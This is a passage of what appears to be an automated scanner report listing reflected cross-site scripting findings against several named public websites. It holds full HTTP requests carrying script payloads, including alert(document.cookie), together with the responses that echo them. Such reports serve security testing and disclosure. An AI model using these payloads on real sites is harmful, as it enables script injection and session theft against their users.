<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
xtureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30fbbb9"><script>alert(1)</script>258191088c6&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all
...[SNIP]...

4.129. http://jqueryui.com/themeroller/ [opacityShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the opacityShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea8af"><script>alert(1)</script>56a1225aef2 was submitted in the opacityShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30ea8af"><script>alert(1)</script>56a1225aef2&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:29 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30ea8af"><script>alert(1)</script>56a1225aef2&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

4.130. http://jqueryui.com/themeroller/ [thicknessShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the thicknessShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2842d"><script>alert(1)</script>afd04d43505 was submitted in the thicknessShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px2842d"><script>alert(1)</script>afd04d43505&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:30 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px2842d"><script>alert(1)</script>afd04d43505&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

4.131. http://lovely-faces.com/index.php [v_sex parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The value of the v_sex request parameter is copied into the HTML document as plain text between tags. The payload 4b865<script>alert(1)</script>52d4c082b37 was submitted in the v_sex parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.php?v_sex='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000335)%3C/script%3E4b865<script>alert(1)</script>52d4c082b37&v_exp=1&v_find=1 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: lovely-faces.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:20 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=4mrcg2j7545a2bqs4movqpf043; path=/
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 35297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
</script>4b865<script>alert(1)</script>52d4c082b37&v_exp=1&v_geo=&v_key=&fanof=&page=0&da=0&tot=7844&last_q=0&cat=All">
...[SNIP]...

4.132. http://lovely-faces.com/index.php [v_sex parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The value of the v_sex request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26cd3"><script>alert(1)</script>f881cc67bed was submitted in the v_sex parameter. This input was echoed as 26cd3\"><script>alert(1)</script>f881cc67bed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.php?v_sex=26cd3"><script>alert(1)</script>f881cc67bed&v_exp=1&v_find=1 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: lovely-faces.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:19 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=2ksh380kf3rbmf91c7pu1up442; path=/
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 34131

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<a class=big href="?v_find=1&v_sex=26cd3\"><script>alert(1)</script>f881cc67bed&v_exp=1&v_geo=&v_key=&fanof=&page=0&da=0&tot=7844&last_q=0&cat=All">
...[SNIP]...

4.133. http://manual.ariens.com/aowners [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://manual.ariens.com
Path:	/aowners

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload fb07a<script>alert(1)</script>f1f74a3196e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /aownersfb07a<script>alert(1)</script>f1f74a3196e HTTP/1.1
Host: manual.ariens.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino/5.0.7
Date: Sat, 05 Feb 2011 21:58:38 GMT
Connection: close
Content-Type: text/html; charset=US-ASCII
Content-Length: 346
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Cache-control: no-cache

<HTML>

<HEAD>
<TITLE>Error</TITLE></HEAD>
<BODY TEXT="000000">
<H1>Error 404</H1>HTTP Web Server: Couldn't find design note - aownersfb07a<script>alert(1)</script>f1f74a3196e
<P>
...[SNIP]...

4.134. http://manual.ariens.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://manual.ariens.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6e157<script>alert(1)</script>5c4cfcc19e5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico6e157<script>alert(1)</script>5c4cfcc19e5 HTTP/1.1
Host: manual.ariens.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino/5.0.7
Date: Sat, 05 Feb 2011 23:03:09 GMT
Connection: close
Content-Type: text/html; charset=US-ASCII
Content-Length: 350
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Cache-control: no-cache

<HTML>

<HEAD>
<TITLE>Error</TITLE></HEAD>
<BODY TEXT="000000">
<H1>Error 404</H1>HTTP Web Server: Couldn't find design note - favicon.ico6e157<script>alert(1)</script>5c4cfcc19e5
<P>
...[SNIP]...

4.135. http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mittelstandsblog.de.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10a08'-alert(1)-'be15936147 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /intellitxt/front.asp?ipid=12476&10a08'-alert(1)-'be15936147=1 HTTP/1.1
Host: mittelstandsblog.de.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wgAAAEt/BHAxgA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:42:57 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wgAAAEt/BHAxgA-"; Version=1; Domain=.intellitxt.com; Max-Age=5184000; Expires=Thu, 07-Apr-2011 17:42:57 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 17:42:57 GMT
Connection: close
Content-Length: 10840

document.itxtDisabled=1;
function itxtokeydoke(){try{var b=document.getElementByTagName('BODY')[0];if(document.all){if(b.innerText.indexOf('Cx26A')>=0)return 1;}else{if(b.textContent.indexOf('Cx26A')>
...[SNIP]...
://b.scorecardresearch.com/b?c1=8&c2=6000002&c3=20000&c4=&c5=&c6=&c15=&cv=1.3&cj=1&rn=20110206174257";})();$iTXT.js.serverUrl='http://mittelstandsblog.de.intellitxt.com';$iTXT.js.pageQuery='ipid=12476&10a08'-alert(1)-'be15936147=1';$iTXT.js.umat=true;$iTXT.js.startTime=(new Date()).getTime();if (document.itxtIsReady) {document.itxtLoadLibraries();};
}
}

4.136. http://mittelstandsblog.de.intellitxt.com/v4/context [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mittelstandsblog.de.intellitxt.com
Path:	/v4/context

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3ea5f%3balert(1)//8bfd083d5b1 was submitted in the jscallback parameter. This input was echoed as 3ea5f;alert(1)//8bfd083d5b1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/context?ts=1297012242449&refurl=http%3A%2F%2Fwww.mittelstandsblog.de%2F%3Fd18cb%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E02e0a7e96b%3D1&sid=58d2fde4057a419f8cd4ad4795d5a8b6&pvu=C3AF2E3D4E1146B8974E405F35226C60&pvm=8a7331184274a824066e86cbab026539&ipid=12476&cc=us&rcc=us&reg=tx&dma=623&city=Dallas&dat=6%2C12%2C18&pagecl=15442&jsoncl=9826&ppc=-1&hn=36&chunkkey=12476:58d2fde4057a419f8cd4ad4795d5a8b6:4CD59B7A613C41A19879C8AC98480C80:&data=%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bx%3A%5B%7Bp%3A1%2Cx%3A%5B%7Bt%3A%22std%22%2Cn%3A1%2Cc%3A%22Die%20Bedrohung%20durch%20einen%20m%25C3%25B6glichen%20Krieg%20der%20Computer%20%25E2%2580%2593%20den%20sogenannten%20Cyberwar%20%25E2%2580%2593%20erfordert%20nach%20Meinung%20des%20Branchenverbands%22%7D%2C%7Bt%3A%22std%22%2Cn%3A2%2Cc%3A%22eine%20enge%20Kooperation%20staatlicher%20Stellen%20mit%20der%20ITK-Wirtschaft.%20Nicht%20von%20ungef%25C3%25A4hr%20ist%20Cyberwar%20in%20diesem%20Jahr%20Schwer%25C2%25ADpunkt%25C2%25ADthema%20der%20M%25C3%25BCnchner%20Sicherheitskonferenz.%20Prof.%20Dieter%20Kempf%20vom%20BITKOM-Pr%25C3%25A4%25C2%25ADsi%25C2%25ADdium%3A%20%25E2%2580%259EDer%20Schutz%20gegen%20Cyberattacken%20l%25C3%25A4sst%20sich%20rein%20milit%25C3%25A4risch%20nicht%20darstellen%2C%20da%20hier%20zivile%20und%20milit%25C3%25A4rische%20Sicherheit%20verschmelzen.%25E2%2580%259C%20Daher%20sei%20eine%20enge%20Zusammenarbeit%20zwischen%20zivilen%20und%20milit%25C3%25A4rischen%20Stellen%20unumg%25C3%25A4nglich.%22%7D%5D%7D%5D%7D%5D%7D%2C%7Bx%3A%5B%7Bx%3A%5B%7Bp%3A1%2Cx%3A%5B%7Bt%3A%22std%22%2Cn%3A3%2Cc%3A%22Die%20Reall%25C3%25B6hne%20stiegen%20in%20Deutschland%202010%20gegen%25C3%25BCber%20dem%20Vor%25C2%25ADjahr%20um%20durchschnittlich%201%2C4%C2%A0%2525.%20Das%20meldete%20heute%20das%22%7D%2C%7Bt%3A%22std%22%2Cn%3A4%2Cc%3A%22.%20Damit%20kehrte%20sich%20die%20Entwicklung%20der%20Verdienste%20im%20Jahr%202009%20um.%20Vor%20zwei&chunk=0&total=10&jscallback=$iTXT.js.callback13ea5f%3balert(1)//8bfd083d5b1 HTTP/1.1
Host: mittelstandsblog.de.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR="AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wgAAAEt+/NP3wA-"

Response

4.137. http://mm.chitika.net/minimall [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f9eec%3balert(1)//be4b7b0d465 was submitted in the callback parameter. This input was echoed as f9eec;alert(1)//be4b7b0d465 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=428&loc=205,1872&output=simplejs&callback=ch_ad_render_searchf9eec%3balert(1)//be4b7b0d465 HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:14 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJTIFoxB5zyrGvNoopWGJl7QqE309Lqf5eXifPARwpNoUujY2E+2KxY6QzBEF1jrMM9Le/5uS8vk3/0yfsC9LcwIQYqSX9iGj4pM2QhVMx+yQOJvlLcVJjMdcecy35E5O6HNzZmRmk3bTCYrYwTKa9T8x/sq7Uacd3idTy2Q70rTwd0fEIBEV/Ru0SliL9b/pLlazUTJc00i+uYgY9Ak75gw7U7vQBlsKmIETIL6DKGsRvXi6m0gPKikPNmAKkOGEwbxbrsiiIVOjmt5Bhh/y/4wfvoaYe/7LK/wxK91Hbfct4rQgUAT18IBlX2FsPJrdVKyNMroVM9A221zVtGOhn4JCqLeYFSsYGrdfEhGLOWFxM2Ig65OkOIDGI9mV9dqnUS6ne0WPIUjhR6aWQUA29ZRmmR4Xum34q41ZPj2mU6b5.WgeSdw8dF7NxJIHZwzf9uA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:03:14 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 19362

var ch_mmhtml = {"mobilehtml":"","pixelhtml":"","snurl":"http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=home-warranty.firstam.com,homewarran
...[SNIP]...
</html>\n","cb":"428"};ch_ad_render_searchf9eec;alert(1)//be4b7b0d465();

4.138. http://mm.chitika.net/minimall [output parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/minimall

Issue detail

The value of the output request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 621be"><script>alert(1)</script>ac55a9221bd was submitted in the output parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /minimall?w=450&h=auto&client=OwnerIQ&sid=Chitika%20Default&url=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&ref=http%3A//burp/show/1&nump=3&type=mpu&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=428&loc=205,1872&output=simplejs621be"><script>alert(1)</script>ac55a9221bd&callback=ch_ad_render_search HTTP/1.1
Host: mm.chitika.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:57 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJbIF4hBljrVeurtwIS0m4qSGm2e877NAI6f8fuEjdZOAXv/FnXqCC0BG566F0elAxvUHTaCTUEvE5ToHMsgNd2S8eAZISnLRZ3rquKZAszvJ+0ezAy5e+EgARK63ng5O6Yc3rDNZZ3kGv6nIxTOa/WNlsSBxecOT3xrb+mA307UyVs8w1PKXest+nN80acd9zQrTaMICnDQm2K4dEgk65gw1s5vQeW+lHSS0n1BuszD3QLaHFKor8P75FuQwV0enr980PLLkXwuK2YNi/oKG5lgiFYdu6PQzrh4AyikSl7jyWCHNvVp51KVAOaueFwgTVmH4n/Qrk2GivNs7S0NPCuW93M7YB21dbIS6ZlZqccuwMr0BUdgJ0/9K9UfRv2EWho293T2AfJgKGzBfcIdx9+SWEPjGoe2vx0S6ONyrcg==.RHUBxk7mgchYjm9uim6etg.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 23:02:57 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21351

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...
&cl_border=%23FFFFFF&cl_bg=%23FFFFFF&cl_title=%230068B3&cl_text=333333&cl_site_link=%230068B3&screenres=1920x1200&winsize=995x1094&canvas=969x225&frm=false&history=2&cb=428&loc=205,1872&output=simplejs621be"><script>alert(1)</script>ac55a9221bd&callback=ch_ad_render_search" method="get" id="searchBox" name="searchBox">
...[SNIP]...

4.139. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pubads.g.doubleclick.net
Path:	/gampad/ads

Issue detail

The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload b63cd<script>alert(1)</script>161eef63f29 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gampad/ads?correlator=1296942576071&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-0829525646633902&slotname=ORTHO_Start_TopLeaderboardb63cd<script>alert(1)</script>161eef63f29&page_slots=ORTHO_Start_TopLeaderboard&cookie_enabled=1&ga_vid=1188681698.1296942576&ga_sid=1296942576&ga_hid=728612317&url=http%3A%2F%2Fwww.orthosupersite.com%2F&lmt=1296964176&dt=1296942576072&cc=14&biw=985&bih=1012&ifi=1&adk=3931591226&u_tz=-360&u_his=1&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&flash=10.1.103 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthosupersite.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
